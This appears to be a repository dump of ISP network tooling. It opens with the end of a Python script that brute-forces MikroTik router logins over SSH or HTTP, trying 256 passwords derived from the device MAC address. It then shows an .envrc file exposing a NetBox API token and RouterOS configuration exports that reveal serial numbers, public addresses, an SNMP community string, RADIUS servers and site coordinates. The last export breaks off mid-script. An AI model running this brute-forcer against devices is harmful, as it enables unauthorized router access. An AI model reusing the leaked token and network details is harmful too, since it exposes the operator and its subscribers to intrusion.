password=password,
timeout=self.timeout,
allow_agent=False,
look_for_keys=False,
)
client.close()
return True
except paramiko.AuthenticationException:
return False
except Exception:
return False
def try_password_http(self, password):
"""Try connecting via HTTP."""
try:
import requests
from requests.auth import HTTPBasicAuth
except ImportError:
print("Error: requests not installed. Install with: pip install requests")
return False
try:
response = requests.get(
f"http://{self.host}:{self.port}/",
auth=HTTPBasicAuth(self.username, password),
timeout=self.timeout,
)
return response.status_code == 200
except Exception:
return False
def try_password(self, password):
"""Try a password."""
if self.use_http:
return self.try_password_http(password)
else:
return self.try_password_ssh(password)
def brute_force(self):
"""Run the targeted brute force (256 attempts)."""
print("MikroTik Targeted Password Brute Force")
print("=" * 50)
print()
print(f"MAC Address: {self.mac_address}")
print(f"Target: {self.host}:{self.port}")
print(f"Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
print()
print("Algorithm:")
print(" PWD[0] = MAC[0] XOR 0xD0")
print(" PWD[1] = MAC[1]")
print(" PWD[2] = NOT(MAC[2])")
print(" PWD[3] = 0xFF")
print()
print("Trying 256 possible passwords (MAC[0] from 0x00 to 0xFF)...")
print()
mac_bytes = self.parse_mac(self.mac_address)
start_time = time.time()
for mac_byte_0 in range(256):
password = self.generate_password_for_mac_byte_0(mac_byte_0)
self.attempts += 1
if self.attempts % 32 == 1 or self.attempts == 1:
elapsed = time.time() - start_time
rate = self.attempts / elapsed if elapsed > 0 else 0
print(
f"[*] Attempt {self.attempts}/256 ({rate:.1f} pwd/sec) - "
f"Trying: {password}"
)
if self.try_password(password):
elapsed = time.time() - start_time
print()
print("=" * 50)
print(f"[+] SUCCESS! Password found!")
print(f"[+] Password: {password}")
print(f"[+] Total attempts: {self.attempts}")
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
print("=" * 50)
self.found_password = password
return password
elapsed = time.time() - start_time
print()
print("=" * 50)
print("[-] Brute force complete. Password not found.")
print(f"[-] This means:")
print(f" 1. The constants 0xD0 or 0xFF might not be fixed")
print(f" 2. The algorithm might be different")
print(f" 3. Or the device might have a different password algorithm")
print(f"[*] Total attempts: {self.attempts}/256")
print(f"[*] Time elapsed: {elapsed:.2f} seconds")
print("=" * 50)
return None
def main():
"""Main entry point."""
parser = argparse.ArgumentParser(
description="MikroTik Targeted Password Brute Force (256 attempts)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python script.py 18:FD:74:F9:04:FC 192.168.88.1
python script.py 18:FD:74:F9:04:FC 192.168.88.1 --method http --port 80
python script.py 18:FD:74:F9:04:FC 192.168.88.1 --port 2222
""",
)
parser.add_argument("mac", help="MAC address of device (e.g., 18:FD:74:F9:04:FC)")
parser.add_argument("host", help="IP address of device (e.g., 192.168.88.1)")
parser.add_argument(
"--port", type=int, default=22, help="Port number (default: 22 for SSH, 80 for HTTP)"
)
parser.add_argument(
"--method",
choices=["ssh", "http"],
default="ssh",
help="Connection method (default: ssh)",
)
parser.add_argument(
"--timeout", type=int, default=5, help="Connection timeout in seconds (default: 5)"
)
args = parser.parse_args()
# Validate MAC address
try:
brute_forcer = MikroTikTargetedBruteForce(
args.mac,
args.host,
port=args.port,
use_http=(args.method == "http"),
timeout=args.timeout,
)
except ValueError as e:
print(f"Error: {e}")
sys.exit(1)
# Run brute force
password = brute_forcer.brute_force()
if password:
sys.exit(0)
else:
sys.exit(1)
if __name__ == "__main__":
main()

1
mikrotik-tool-rs Submodule

@ -0,0 +1 @@
Subproject commit 33ea23a718ee57a8319e292514ef76ce107a3527

1
mikrotik-tool/.envrc Normal file
View file

@ -0,0 +1 @@
export NETBOX_TOKEN=nbt_vrxmaJM2EvzT.h5dbqCtfKfs6aTT389o6F1fRjfVp6F4ToPOBmEoW

500
mikrotik-tool/494.rsc Normal file
View file

@ -0,0 +1,500 @@
# 2026-05-08 17:46:02 by RouterOS 7.21.4
# software id = K4QG-8NQV
#
# model = RB5009UG+S+
# serial number = HC907K5P55K
/interface bridge
add name=494 port-cost-mode=short
add name=management port-cost-mode=short
/interface ethernet
set [ find default-name=ether1 ] comment=ether1 l2mtu=1580
set [ find default-name=ether2 ] comment=ether2 l2mtu=1580 name=ether2-climax
set [ find default-name=ether3 ] comment=ether3 l2mtu=1580
set [ find default-name=ether4 ] comment=ether4 l2mtu=1580
set [ find default-name=ether5 ] comment=ether5 l2mtu=1580
set [ find default-name=ether6 ] comment=ether6 l2mtu=1580
set [ find default-name=ether7 ] comment=ether7 l2mtu=1580
set [ find default-name=ether8 ] comment=ether8 l2mtu=1580
set [ find default-name=sfp-sfpplus1 ] l2mtu=1580
/interface vlan
add interface=ether5 name=vlan10_ether5 vlan-id=10
add interface=ether6 name=vlan10_ether6 vlan-id=10
add interface=ether7 name=vlan10_ether7 vlan-id=10
add interface=ether8 name=vlan10_ether8 vlan-id=10
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip ipsec proposal
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
aes-256-cbc,aes-128-cbc pfs-group=modp2048
/ip pool
add name=cgnat ranges=100.64.160.1-100.64.174.254
add name=public ranges=204.110.188.65-204.110.188.93
/ip dhcp-server
add add-arp=yes address-pool=cgnat interface=494 lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n :if (\$leaseBound = 0) do {\
\n # Try url2 (iptrack.vntx.net) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
t for \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n # Try url (gaiia) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
or \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 3s;\
\n }\
\n } else {\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n # Try url2 (iptrack.vntx.net) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
;\
\n }\
\n\
\n # Try url (gaiia) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 30s;\
\n }\
\n }\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" lease-time=1h name=dhcp1
/ip pool
add name=mgmt next-pool=public ranges=10.10.160.1-10.10.174.254
/ip dhcp-server
add add-arp=yes address-pool=mgmt interface=management lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n :if (\$leaseBound = 0) do {\
\n # Try url2 (iptrack.vntx.net) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
t for \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n # Try url (gaiia) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
or \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 3s;\
\n }\
\n } else {\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n # Try url2 (iptrack.vntx.net) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
;\
\n }\
\n\
\n # Try url (gaiia) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 30s;\
\n }\
\n }\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" lease-time=1h name=dhcp2
/ip smb users
set [ find default=yes ] disabled=yes
/ppp profile
set *0 dns-server=204.110.191.240,204.110.191.250 local-address=\
204.110.188.94 remote-address=public use-upnp=no
add change-tcp-mss=yes dns-server=204.110.191.240,204.110.191.20 \
local-address=100.64.175.254 name=494 on-down="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 1\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
\_for \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (AWS API)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
r \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" on-up="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 5\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE assignment successfully sent to iptrack.vntx.net f\
or \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to iptrack.vntx.net on \
attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (gaiia)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"1\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE assignment successfully sent to gaiia AWS API for \
\$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send assignment to gaiia AWS API on att\
empt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" remote-address=cgnat use-upnp=no
/queue type
add kind=fq-codel name=fq-codel
/queue interface
set ether1 queue=fq-codel
set ether2-climax queue=fq-codel
set ether3 queue=fq-codel
set ether4 queue=fq-codel
set ether5 queue=fq-codel
set ether6 queue=fq-codel
set ether7 queue=fq-codel
set ether8 queue=fq-codel
set sfp-sfpplus1 queue=fq-codel
/routing id
add disabled=no id=10.254.254.111 name=id-1 select-dynamic-id=any \
select-from-vrf=main
/routing ospf instance
add disabled=no in-filter-chain=ospf-in name=ospf-instance-1 \
originate-default=never out-filter-chain=ospf-out router-id=id-1
/routing ospf area
add disabled=no instance=ospf-instance-1 name=ospf-area-1
/snmp community
set [ find default=yes ] addresses=204.110.188.0/22,10.0.0.0/8 name=\
kdyyJrT0Mm
/system logging action
add name=netsvr remote=204.110.191.229 remote-port=1514 target=remote
/interface bridge port
add bridge=494 interface=ether8 internal-path-cost=10 path-cost=10
add bridge=494 interface=ether7 internal-path-cost=10 path-cost=10
add bridge=494 interface=ether6 internal-path-cost=10 path-cost=10
add bridge=494 interface=ether5 internal-path-cost=10 path-cost=10
add bridge=management interface=vlan10_ether5 internal-path-cost=10 \
path-cost=10
add bridge=management interface=vlan10_ether6 internal-path-cost=10 \
path-cost=10
add bridge=management interface=vlan10_ether7 internal-path-cost=10 \
path-cost=10
add bridge=management interface=vlan10_ether8 internal-path-cost=10 \
path-cost=10
/ip firewall connection tracking
set icmp-timeout=30s tcp-close-wait-timeout=1m tcp-established-timeout=4h \
tcp-fin-wait-timeout=2m tcp-last-ack-timeout=30s \
tcp-syn-received-timeout=1m tcp-syn-sent-timeout=2m \
tcp-time-wait-timeout=2m udp-stream-timeout=2m
/ip neighbor discovery-settings
set discover-interface-list=!dynamic
/ip settings
set tcp-syncookies=yes
/interface pppoe-server server
add default-profile=494 disabled=no interface=494 max-mru=1492 max-mtu=1492 \
one-session-per-host=yes service-name=494
/ip address
add address=10.254.254.111 comment=Loopback interface=lo network=\
10.254.254.111
add address=10.250.1.65/29 interface=ether2-climax network=10.250.1.64
add address=204.110.188.94/27 interface=494 network=204.110.188.64
add address=10.10.175.254/20 interface=management network=10.10.160.0
add address=100.64.175.254/20 interface=494 network=100.64.160.0
/ip dhcp-client
# Interface not active
add interface=ether1
# Interface not active
add interface=ether3
/ip dhcp-server lease
add address=10.10.175.10 mac-address=78:8A:20:AC:C5:32
add address=10.10.175.11 mac-address=58:C1:7A:75:4D:F2
/ip dhcp-server network
add address=10.10.160.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=10.10.175.254 ntp-server=204.110.191.19
add address=100.64.160.0/20 dns-server=204.110.191.240,204.110.191.20 domain=\
vntx.net gateway=100.64.175.254 ntp-server=204.110.191.19
/ip dns
set servers=9.9.9.9,1.1.1.1
/ip firewall address-list
add address=154.66.115.255 list=CPF
add address=10.0.0.0/8 list=CPF
add address=192.168.0.0/16 list=CPF
add address=172.16.0.0/12 list=CPF
/ip firewall filter
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (out)" out-interface=ether2-climax
add action=accept chain=forward comment=\
"bypass fasttrack for MPLS spine (in)" in-interface=ether2-climax
add action=fasttrack-connection chain=forward comment=\
"fasttrack established/related" connection-state=established,related
add action=drop chain=forward src-address-list=suspended
add action=drop chain=forward dst-address-list=suspended
add action=drop chain=forward dst-port=23 protocol=tcp
add action=accept chain=forward comment="accept established/related" \
connection-state=established,related
/ip ipsec profile
set [ find default=yes ] dh-group=modp2048 dpd-interval=2m \
dpd-maximum-failures=5 enc-algorithm=aes-256,aes-128 hash-algorithm=\
sha256
/ip proxy
set port=43133
/ip route
add disabled=no distance=1 dst-address=0.0.0.0/0 gateway=\
10.250.1.70%ether2-climax pref-src="" routing-table=main scope=30 \
target-scope=10
/ip service
set ftp address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set www address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set www-ssl address=204.110.188.0/22,10.0.0.0/8
set ssh address=204.110.188.0/22,10.0.0.0/8 port=1022
set winbox address=204.110.188.0/22,10.0.0.0/8
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
set api-ssl address=0.0.0.0/0 certificate=myCa
/ip ssh
set host-key-type=ed25519 password-authentication=yes strong-crypto=yes
/ipv6 nd
set [ find default=yes ] advertise-dns=yes
/mpls interface
add interface=ether2-climax mpls-mtu=1508
/mpls ldp
add disabled=no lsr-id=10.254.254.111 transport-addresses=10.254.254.111 vrf=\
main
/mpls ldp interface
add interface=ether2-climax
/ppp aaa
set interim-update=15m use-radius=yes
/radius
add address=204.110.191.248 require-message-auth=no service=ppp src-address=\
204.110.188.94 timeout=300ms
add address=204.110.191.2 require-message-auth=no service=ppp src-address=\
204.110.188.94 timeout=300ms
add accounting-backup=yes address=45.76.56.5 disabled=yes \
require-message-auth=no service=ppp src-address=204.110.188.94 timeout=\
300ms
/routing bfd configuration
add disabled=no interfaces=ether2-climax min-rx=200ms min-tx=200ms \
multiplier=5 vrf=main
/routing filter rule
add chain=ospf-in disabled=no rule="accept;\r\
\n"
add chain=ospf-out disabled=no rule="accept;"
/routing ospf interface-template
add area=ospf-area-1 auth=sha512 auth-id=1 disabled=no interfaces=\
ether2-climax type=ptp use-bfd=yes
add area=ospf-area-1 disabled=no passive
/routing ospf static-neighbor
add address=10.250.1.70%ether2-climax area=ospf-area-1 disabled=no \
poll-interval=10s
/snmp
set contact=graham@vntx.net enabled=yes location="33.208204, -96.462530"
/system clock
set time-zone-name=America/Chicago
/system identity
set name=494
/system logging
add action=netsvr prefix=test1 topics=system,info
add action=netsvr prefix=test1 topics=warning
add action=netsvr prefix=test1 topics=critical
add action=netsvr prefix=test1 topics=error,!ospf,!route
/system ntp client
set enabled=yes
/system ntp client servers
add address=ntp.vntx.net
add address=0.us.pool.ntp.org
/system package update
set channel=long-term
/system routerboard settings
# Firmware upgraded successfully, please reboot for changes to take effect!
set auto-upgrade=yes
/system scheduler
add name=reboot on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=2025-02-16 start-time=03:40:00

441
mikrotik-tool/982.rsc Normal file
View file

@ -0,0 +1,441 @@
# 2026-05-08 17:46:02 by RouterOS 7.21.4
# software id = FUVS-HCM5
#
# model = CCR1009-7G-1C-1S+
# serial number = E3210FA5B025
/interface bridge
add name=982 port-cost-mode=short
add name=mgmt port-cost-mode=short
/interface ethernet
set [ find default-name=ether7 ] l2mtu=9000 name=ether7-380
/interface vlan
add interface=ether1 name=vlan10_ether1 vlan-id=10
add interface=ether2 name=vlan10_ether2 vlan-id=10
add interface=ether3 name=vlan10_ether3 vlan-id=10
add interface=ether4 name=vlan10_ether4 vlan-id=10
add interface=ether5 name=vlan10_ether5 vlan-id=10
add interface=ether6 name=vlan10_ether6 vlan-id=10
/interface lte apn
set [ find default=yes ] ip-type=ipv4 use-network-apn=no
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip ipsec proposal
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
aes-256-cbc,aes-128-cbc pfs-group=modp2048
/ip pool
add name=mgmt ranges=10.10.48.1-10.10.62.254
add name=public ranges=204.110.189.1-204.110.189.29
add name=cgnat ranges=100.64.48.1-100.64.62.199
/ip dhcp-server
add address-pool=mgmt interface=mgmt lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n :if (\$leaseBound = 0) do {\
\n # Try url2 (iptrack.vntx.net) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
t for \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n # Try url (gaiia) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
or \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 3s;\
\n }\
\n } else {\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n # Try url2 (iptrack.vntx.net) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
;\
\n }\
\n\
\n # Try url (gaiia) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 30s;\
\n }\
\n }\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" lease-time=10m name=mgmt
/ip smb users
set [ find default=yes ] disabled=yes
/ppp profile
add local-address=100.64.63.253 name=982 on-down="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
